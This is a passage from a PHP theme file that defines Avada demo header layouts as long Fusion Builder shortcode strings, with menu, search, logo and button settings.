background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="28"][fusion_imageframe image_id="" max_width="120px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="40" layout="40" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="false" spacing_right="" type="40"][fusion_menu menu="left-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="70px" sticky_min_height="" align_items="stretch" justify_content="flex-start" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="rgba(255,255,255,0.55)" active_bg="" active_color="#ffffff" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="medium" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="rgba(0,0,0,0)" mobile_trigger_color="#ffffff" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="28" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="#070707" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" border_bottom="" fusion_font_family_typography="" trigger_padding_top="25px" trigger_padding_bottom="25px" items_padding_right="15px" items_padding_left="15px" mobile_trigger_font_size="25px" /][/fusion_builder_column][fusion_builder_column type="16" layout="16" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="false" spacing_right="" type="16"][fusion_menu menu="side-nav" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-end" font_size="15px" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="#ffffff" icons_hover_color="" dropdown_carets="no" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="10px" items_padding_bottom="10px" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="12px" items_padding_left="12px" /][/fusion_builder_column][fusion_builder_column type="16" layout="16" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="16"][fusion_button link="" text_transform="" title="" target="_self" link_attributes="" alignment="" modal="" color="default" button_gradient_top_color="#539b65" button_gradient_bottom_color="#539b65" button_gradient_top_color_hover="#539b65" button_gradient_bottom_color_hover="#539b65" accent_color="#ffffff" accent_hover_color="" type="" bevel_color="" border_width="" border_radius="4" border_color="" border_hover_color="" size="" stretch="yes" icon="fusion-prefix-headers-cart" icon_position="left" icon_divider="no" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id=""]Buy Avada[/fusion_button][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['new-5'] = [ 'name' => 'New 5', 'image' => $preview_image, 'position' => 'calc( 1100% / 15 )', 'css' => '', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" z_index="9999" padding_top="10px" flex_column_spacing="100px" background_color="#ffffff" padding_bottom="10px" padding_top_medium="20px" border_sizes_bottom="1px" border_color="#f2f2f2" type="flex" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="23" layout="23" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="50" type_small="1_1" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" margin_top_small="10px" type="23"][fusion_imageframe image_id="" max_width="120px" sticky_max_width="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="center" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="static" animation_speed="1.0" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="32" layout="32" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="50" type_small="1_1" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="false" spacing_right="" margin_top_small="25px" margin_bottom_small="5px" type="32"][fusion_search live_search="" search_content="" search_limit_to_post_titles="" placeholder="" design="" input_height="45px" bg_color="#f7f7f7" text_size="14px" text_color="#606060" border_width="0" border_color="" focus_border_color="" border_radius="24" animation_type="" animation_direction="static" animation_speed="1.0" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" /][/fusion_builder_column][fusion_builder_column type="29" layout="29" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="50" type_small="1_1" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="false" spacing_right="" type="29"][fusion_text columns="" column_min_width="" column_spacing="" rule_style="default" rule_size="" rule_color="" animation_type="" animation_direction="static" animation_speed="1.0" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" fusion_font_variant_text_font="" text_color="" content_alignment="center" font_size="14px" content_alignment_medium="left" content_alignment_small="center"]

    Questions? Call us : 1.800.123.4567

    [/fusion_text][/fusion_builder_column][fusion_builder_column type="16" layout="16" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="50" type_small="42" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" spacing_right="" type="16"][fusion_menu menu="side-nav" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="14" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="no" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="18px" items_padding_bottom="18px" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" border_bottom="" items_padding_right="10px" items_padding_left="10px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center top" background_repeat="repeat-x" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="on" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="down" animation_speed="1.0" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" class="main-menu" z_index="999" background_color="#ffffff" flex_justify_content="center" type="flex" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_1" layout="1_1" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="68" type_small="1_2" order_medium="0" order_small="2" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="true" padding_right_small="" padding_left_small="" spacing_right="" type="1_1"][fusion_menu menu="left-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="60px" sticky_min_height="" align_items="stretch" justify_content="center" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" border_bottom="" items_padding_right="20px" items_padding_left="20px" mobile_trigger_font_size="25px" /][/fusion_builder_column][fusion_builder_column type="16" layout="16" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility" sticky_display="normal,sticky" class="" id="" type_medium="50" type_small="1_2" order_medium="0" order_small="1" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="true" spacing_right="" type="16"][fusion_menu menu="side-nav" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" margin_top="" margin_bottom="" transition_time="300" submenu_space="" arrows="" arrows_size_width="" arrows_size_height="" class="" id="" min_height="" sticky_min_height="" align_items="stretch" justify_content="flex-start" font_size="" fusion_font_family_typography="" fusion_font_variant_typography="" text_transform="none" items_padding_top="" items_padding_right="8px" items_padding_bottom="" items_padding_left="8px" gap="" border_radius_top_left="" border_radius_top_right="" border_radius_bottom_right="" border_radius_bottom_left="" transition_type="fade" icons_position="left" icons_size="15" thumbnail_size_width="" thumbnail_size_height="" bg="" color="#000000" border_top="" border_right="" border_bottom="" border_left="" border_color="" icons_color="#000000" active_bg="" active_color="" active_border_top="" active_border_right="" active_border_bottom="" active_border_left="" active_border_color="" icons_hover_color="#3d6f42" dropdown_carets="no" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="fade" submenu_max_width="" submenu_flyout_direction="fade" submenu_font_size="" fusion_font_family_submenu_typography="" fusion_font_variant_submenu_typography="" submenu_text_transform="none" submenu_items_padding_top=".9em" submenu_items_padding_right="1.8em" submenu_items_padding_bottom=".9em" submenu_items_padding_left="1.2em" submenu_border_radius_top_left="" submenu_border_radius_top_right="" submenu_border_radius_bottom_right="" submenu_border_radius_bottom_left="" box_shadow="no" box_shadow_vertical="" box_shadow_horizontal="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" submenu_sep_color="rgba(255,255,255,0.2)" submenu_bg="#ffffff" submenu_color="#3d6f42" submenu_active_bg="#3d6f42" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="1100" mobile_nav_mode="collapse-to-button" mobile_nav_size="column-relative" trigger_padding_top="" trigger_padding_right="" trigger_padding_bottom="" trigger_padding_left="" mobile_trigger_background_color="rgba(255,255,255,0)" mobile_trigger_color="#ffffff" collapsed_nav_text="Test2" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-angle-up fas" mobile_icon_size="31" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_trigger_bottom_margin="" mobile_nav_items_height="65" mobile_justify_content="left" mobile_indent_submenu="on" fusion_font_family_mobile_typography="" fusion_font_variant_mobile_typography="" mobile_bg="#3d6f42" mobile_color="#ffffff" mobile_active_bg="#ffffff" mobile_active_color="#3d6f42" mobile_sep_color="" animation_type="fade" animation_direction="static" animation_speed="1.0" animation_offset="" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['new-6'] = [ 'name' => 'New 6', 'image' => $preview_image, 'position' => 'calc( 1200% / 15 )', 'css' => '', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" 